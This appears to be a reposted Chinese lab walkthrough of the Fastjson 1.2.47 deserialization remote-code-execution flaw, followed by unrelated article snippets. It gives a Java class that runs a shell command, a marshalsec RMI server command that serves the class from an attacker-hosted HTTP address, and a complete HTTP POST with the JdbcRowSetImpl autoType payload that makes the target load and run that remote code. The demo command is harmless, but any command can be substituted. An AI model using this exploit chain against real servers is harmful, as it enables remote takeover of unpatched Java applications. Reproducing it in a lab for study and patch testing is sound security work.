Fastjson 1.2.47 远程命令执行漏洞

漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。 fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

参考链接:

  • FastJson 远程代码执行漏洞分析报告 - 360CERT
  • 浅谈Fastjson RCE漏洞的绕过史 - FreeBuf网络安全行业门户

漏洞环境及利用

搭建docker环境

首先编译并上传命令执行代码

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

 javac编译文件

此处开启http服务

使用Java反序列化利用工具marshalsec辅助开启RMI环境

marshalsec:

git clone https://github.com/mbechler/marshalsec

maven:

 sudo apt-get install maven 

进入目录进行项目编译

mvn clean package -DskipTests

进入target目录,可以看到编译成功

 执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1
Host: 192.168.232.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 266

{
         "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.232.128:9999/TouchFile",
        "autoCommit":true
    }
}

漏洞利用

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/229029.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

技巧-PyCharm中Debug和Run对训练的影响和实验测试

简介 在训练深度学习模型时,使用PyCharm的Debug模式和Run模式对训练模型的耗时会有一些区别。 Debug模式:Debug模式在训练模型时,会对每一行代码进行监视,这使得CPU的利用率相对较高。由于需要逐步执行、断点调试、查看变量值等操…

【同步降压DC-DC】TLV62568 转换器

🚩 WRITE IN FRONT 🚩 🔎 介绍:"謓泽"正在路上朝着"攻城狮"方向"前进四" 🔎🏅 荣誉:2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评百大…

Nacos2.x配置中心源码分析

概述 源码注释参考 git 仓库,对应流程图后续补充; 启动 nacos nacos 启动类: // com.alibaba.nacos.NacosSpringBootApplication(scanBasePackages "com.alibaba.nacos") ServletComponentScan EnableScheduling public class…

在Visual Studio Code中安装加速TypeScript程序开发的插件

在Visual Studio Code中安装加速TypeScript程序开发的插件 Install Extensions on Visual Studio Code for TypeScript Application Development By Jackson 2023-11-28 众所周知,微软的Visual Studio Code是一款轻量级、功能强大的集成开发环境。它支持各种编程语…

SystemVerilog 入门

文章目录 包定义SystemVerilog 数据类型结构体 SystemVerilog 过程块可嵌套模块接口 System Verilog 的优点 提高了硬件建模能力、编码效率和抽象能力;RTL 级、系统级行为描述; 增强了验证能力和为大规模复杂设计编写有效、无竞争测试程序的断言功能&am…

webpack如何设置兼容浏览器的范围​browserslist

Browserslist 是前端工程化不可或缺的工具,无论是处理 js 的 babel 还是处理 css 的 postcss,他们背后都有Browserslist 的身影。 一、如何查看查看所有浏览器和它的市场占有率 我们如何知道现在的浏览器那些被废弃、那些市场占有率高,可以…

mysql 性能排查

mysql 下常见遇到的问题有,mysql连接池耗尽,死锁、慢查、未提交的事务。等等我们可能需要看;我们想要查看的可能有 1.当前连接池连接了哪些客户端,进行了哪些操作 2.当前造成死锁的语句有哪些,是哪个客户端上的&#x…

dcat admin日志扩展 dcat-log-viewer 遇到的问题记录

扩展地址: https://github.com/duolabmeng6/dcat-log-viewer 问题描述: 使用很简单,直接安装扩展包,开启扩展就可以了,会自动生成菜单。 之前在别的系统用过,没问题,今天在一个新的系统用的时…

肖sir__mysql之单表练习题2__(2)

mysql之单表练习题 一.建表语句 create table grade(class int(4),chinese int(8),english int(4),math int(8),name varchar(20),age int(8),sid int(4)primary key auto_increment) DEFAULT charsetutf8; insert into grade(class,chinese,english,math,name,age)values(1833…

导致Facebook广告投放不成功的原因

Facebook是全球最大的社交媒体平台之一,也是众多跨境卖家选择广告投放的首选平台,但也还是会有很多跨境卖家在Facebook上推广效果不佳。那么本文小编讲一下导致Facebook广告投放不成功的原因以及相应解决方法。 1、受众群体太少 Facebook有个要求就是广告…

Programming Abstractions in C阅读笔记:p202-p234

《Programming Abstractions in C》学习第65天,p202-p234总结。 一、技术总结 完成第五章学习,第五章介绍递归在实际问题中的进一步应用,例如汉诺塔问题,数学中的排列问题,更有难度。使用递归解决问题时有时候需要借…

业务建模工具BPMN

目录 一、什么是BPMN 二、业务流程梳理的重要作用 三、BPMN的全图 四、BPMN的组成 1.BPMN的基本元素(2.0) 1.1 流对象(Flow Objects) 1.2 数据(Data) 1.3 连接对象(Connecting Objects&a…